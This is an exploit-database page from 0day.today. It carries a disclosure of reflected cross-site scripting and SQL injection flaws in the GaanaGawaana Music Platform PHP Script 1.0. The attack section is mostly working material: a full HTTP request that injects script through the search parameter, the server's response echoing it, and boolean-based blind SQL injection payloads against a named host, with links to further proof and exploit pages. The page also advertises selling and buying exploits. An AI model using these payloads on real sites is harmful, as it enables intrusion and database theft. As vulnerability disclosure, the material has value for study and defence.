0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
GaanaGawaana Music Platform PHP Script 1.0 Cross Site Scripting / SQL Injection Vulnerabilities
[## Title: GaanaGawaana - Music Platform PHP Script-1.0 XSS-Reflected
and SQLi Vulnerability
## Author: nu11secur1ty
## Vendor: https://www.codester.com/
## Software: https://www.codester.com/items/27270/gaanagawaana-music-platform-php-script
## Reference XSS: https://portswigger.net/web-security/cross-site-scripting
## Reference SQLi: https://portswigger.net/web-security/sql-injection
## Description:
XSS: The value of the q request parameter is copied into the HTML
document as text between TITLE tags. The payload
aw9rx</title><script>alert(1)</script>rg1m6 was submitted in the q
parameter. This input was echoed unmodified in the application's
response.
--------------------------------------------------------------------------------------------------------------------------------
SQLi: The q parameter appears to be vulnerable to SQL injection
attacks. The payloads 70346811' or 7218=7218-- and 18028207' or
8587=8593-- were each submitted in the q parameter. These two requests
resulted in different responses, indicating that the input is being
incorporated into a SQL query in an unsafe way.
STATUS: CRITICAL Vulnerability
[+]Exploit-XSS-test:
```XSS
GET /search?q=aw9rx%3c%2ftitle%3e%3cscript%3ealert(1)%3c%2fscript%3erg1m6 HTTP/2
Host: gaanagawaana.codesler.com
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93
Safari/537.36
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Sec-CH-UA: ".Not/A)Brand";v="99", "Google Chrome";v="113", "Chromium";v="113"
Sec-CH-UA-Platform: Windows
Sec-CH-UA-Mobile: ?0
Content-Length: 0
```
[+]Response-XSS-test:
```
HTTP/2 200 OK
Cache-Control: no-store, max-age=0, no-cache
Date: Tue, 16 May 2023 06:39:12 GMT
Content-Type: text/html; charset=UTF-8
Server: Apache
<html>
<head>
<title>aw9rx</title><script>alert(1)</script>rg1m6's Song Download,
Listen & Lyrics</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
```
--------------------------------------------------------------------
[+]Payload-SQLi:
```SQLi
---
Parameter: q (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: q=-5722%' OR 2476=2476 AND 'nMde%'='nMde
---
```
## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/codester/2023/GaanaGawaana-Music-Platform-PHP-Script-1.0)
## Proof and Exploit:
[href](https://www.nu11secur1ty.com/2023/05/gaanagawaana-10-xss-reflected-sqli-for.html)
## Time spend:
01:10:00
# 0day.today [2024-11-16] #